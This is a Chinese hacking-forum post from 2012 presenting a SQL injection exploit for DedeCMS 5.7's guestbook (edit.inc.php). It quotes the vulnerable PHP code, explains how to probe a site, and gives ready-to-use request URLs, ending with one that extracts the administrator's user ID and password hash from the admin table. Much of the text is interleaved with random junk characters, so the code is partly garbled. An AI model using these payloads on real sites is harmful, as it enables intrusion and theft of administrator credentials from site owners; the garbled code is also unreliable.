找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3953|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
: O! G* g- u. G5 ^# Q
$ s- p6 y( j/ O' Q: t' p, `漏洞文件edit.inc.php具体代码:
, A$ z' F' g9 f( M$ b
! |) V8 o( J: l: X$ t< ?php  
0 l8 N4 K% ?$ a3 ~6 K# s
9 n0 e2 D' C' W8 j+ Fif(!defined('DEDEINC')) exit('Request Error!');  
- z) [* s3 N, Z: {( k* {  Q; H0 V
, z5 x$ F, r, ?2 v5 m$ y# `, H& B   7 R8 o- Y' X- o8 h
3 Q. p+ x- K8 U7 Q2 E5 }) C
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  # k! y5 p: K+ p# i. \

1 W' t1 c' O4 f" I, `else $GUEST_BOOK_POS = "guestbook.php";  
& ~/ T) d3 Z% d+ r+ v3 x. @# F
% ]" y3 M3 V0 S8 G/ [, H" m   
! |6 x- g& J! f- o: N6 h! l3 O6 Y
$id = intval($id);  
9 E# L' ?9 L9 }7 o/ g+ o5 I* U; \+ t
) {# k3 J- A4 x) Zif(empty($job)) $job='view';  
! A8 T- E2 X0 K/ e
( P: q, ^1 _8 L% S3 x. M   8 e' l9 C5 s7 ]3 G" E( f  B8 _
5 G* P0 s9 O1 x
if($job=='del' && $g_isadmin)  
, T* a2 H# f8 R% C# C
! I5 V' D  y  Y4 X4 z2 g+ t: s9 ?{  
/ @  D) A5 E2 a; q1 P7 P5 I' U, x" I* K2 F* p0 H9 P" {/ N" L3 A
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ! A; q, z% ~% Y0 K, Y+ I' R

! ~4 z# }3 |3 ?$ b+ n1 W7 ]) NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
! k! k9 {2 L9 Y. {" z/ i
, }6 X9 ^! }; m- R. d3 v% D1 Fexit();  . ?: k6 a0 D; q2 f1 I$ E3 v

$ E" L, A$ E; N3 ]}  
7 g% y$ I5 }. ^1 W4 \, t' t; i. X7 T) u+ ^8 N& _' N/ {! t/ G: n
else if($job=='check' && $g_isadmin)  
* f; x& \, |2 g  h4 D# X; F, V! N. y" f7 j
{  
$ k8 C1 t# w0 k; N# l4 q! Q" @  D7 W
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  8 c& T3 E" F3 e" R, w& B0 u9 M" w
" ^# A4 [+ Z3 i3 T5 p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
7 V/ o% G  f+ I( T* U* G  O& M: y
# p8 ^' ^% L: @/ xexit();  9 F7 j8 l7 d$ N' M, a7 B

; N/ w8 \/ K$ \. w  q; L}  7 ~  Q. x: |% E5 \

) g8 d% E: Q, H) |4 ~% aelse if($job=='editok')  
0 c) V0 R% T/ s% l* W# j+ R! V- I4 M# @2 A( L' V7 Z
{  
% @' ^5 X' T/ B2 f" Y7 o# Z
4 p5 l. x: Y% K+ b$remsg = trim($remsg);  7 M$ Q$ f& @6 b0 O1 r( e3 \' n

  f% @! J0 v. v1 K  Y8 G, ~# yif($remsg!='')  2 x* y5 W+ g3 x

* g8 s- S" |4 o  P. N% g{  
+ \. D- Y% K2 @3 i  W5 R1 `7 n+ P% `  ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc  0 B( j$ C, V9 h  s

' x% @/ P& t9 Wif($g_isadmin)  , r- W/ i/ ]3 N8 N# G! P! o+ q
, \+ C7 \% E- {
{  
+ T6 K. t: ~( {$ m' x+ F. d; Y6 T
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  5 {$ |) B. L- G9 {  N( I

( ?9 D% f' s& }3 _% Q//$remsg <br /><font color=red>管理员回复:</font> }  ! C4 F1 c, Q9 [/ _) m
$ O" g  T" |; u
else   @8 @5 N. S/ f( [2 s

( L/ h8 W) @6 z5 a* ]7 f' d% W7 @1 D{  
2 K& v' N. T% m  w5 x* `& |( }" z( [/ i  z! Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
. r1 O# a# p8 I2 `7 X1 I, ?  C( `3 [2 d+ [0 @8 E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ! _2 O/ {8 D* n2 j) S
  c( V. n0 S# K4 V  t" Q* p
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
6 t+ p0 a4 Q9 C& }* r& y
; Z- q) ]  A% f; V  u$msg = $oldmsg.$remsg;  2 e! ~3 W0 L4 x* B# G/ c( c

' n" r! p' b4 Q% H}  9 y8 I3 ]$ z, `3 t$ k9 Q5 F! Y
3 _' a% T% ]1 q0 B- E6 B/ O2 G
}  
4 A+ g0 S" e" {
% G+ x1 c* c1 ^9 m& Z' i" S" ]//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
6 U8 T( ^* T1 w0 Q, _& k  j; L) H+ P! k% G
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  $ E* f/ L8 f: O& _1 _2 Y+ ?
4 g, v  Z1 j7 W5 H# t: ?9 x
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  % `9 W; c& q% ?% q% k3 v
( I! j- b; W! k  b' [1 k* p
exit();  : i2 u% x# h" ]+ N3 c
4 C8 P( A2 s- ~# P
}  
$ P, j  |- l2 X; f( H! x. E' h1 w/ X7 h% w, @4 ?2 H, z
//home:www.errs.cc  1 U8 w0 @9 C- ]) B; z" V
' e3 W1 S7 L0 C' j* q
if($g_isadmin)  7 ?* \+ k) Z9 ~6 ~

/ H0 ~* s# m% w{  
$ D. r9 q6 M9 N# u% B9 P- E1 ~
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
' Y" s, K" S1 `" }& G1 l8 {' }6 ]3 I( `2 }5 O2 Y  c9 ?; u
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  : f- _$ Z! o% W
0 o: Q' U6 W2 y; b  u; m$ J1 u
}  
6 C0 [4 m* Z5 G* e$ H* `5 K& l/ W5 ~
else 4 W7 B0 U6 G; j# `

* V% }; A5 J/ X{  
6 M1 y" s) O% @* l0 y5 B7 H$ ~9 r3 A$ H4 S8 f: {6 i
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
3 l* Y9 y) H- ?8 _
' d( M5 ^$ j9 C# K1 x- Q" L1 Erequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  + g/ {; s* X( l3 o/ L" i0 k
$ K: T' H- ^$ K- _& I  I
} 漏洞成功需要条件:! z  l  ^5 U# J* ]: W
1. php magic_quotes_gpc=off! x, l2 y+ e& X+ j& T6 l
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
# g0 x) f- \- X. V% E2 y& H
2 v- V* J- e5 P8 o3 |/ m怎么判断是否存在漏洞:
$ C1 W" I' \2 q- B: {+ _8 ?6 I先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,4 X$ C) r; z( B& _6 D
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID. W( v9 U9 N8 u& y6 {$ R3 G0 R# ?
访问:9 P% @  T7 m9 p8 y5 y9 f

- T4 P) m$ X( P9 i) D% T/ h& fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
4 B0 \$ }7 n. s4 w跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证2 u: t) l4 @/ P. N4 w

8 g/ a/ o6 Z9 e- B* K
3 Q( _! W* a8 T7 s- G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off( i  w: w( @* c, \
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。3 @# o# I2 P; x* F
那么再次访问% j) q! Q8 e7 E0 O
; ?4 L+ O' y/ R* ^
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. y- Y8 b5 c9 s  y' j( L1 d

% D7 W9 o+ I# b/ c1 j大概利用就是这样,大家有兴趣的多研究下!!4 N0 _- a- `& H
, e( k" m- o" Q) i1 L' Z$ n8 p/ T
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ ?( Q5 A8 Q& T- J) A/ n3 ?

/ w+ z" m( p7 g; [6 l( [/ i! e1 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表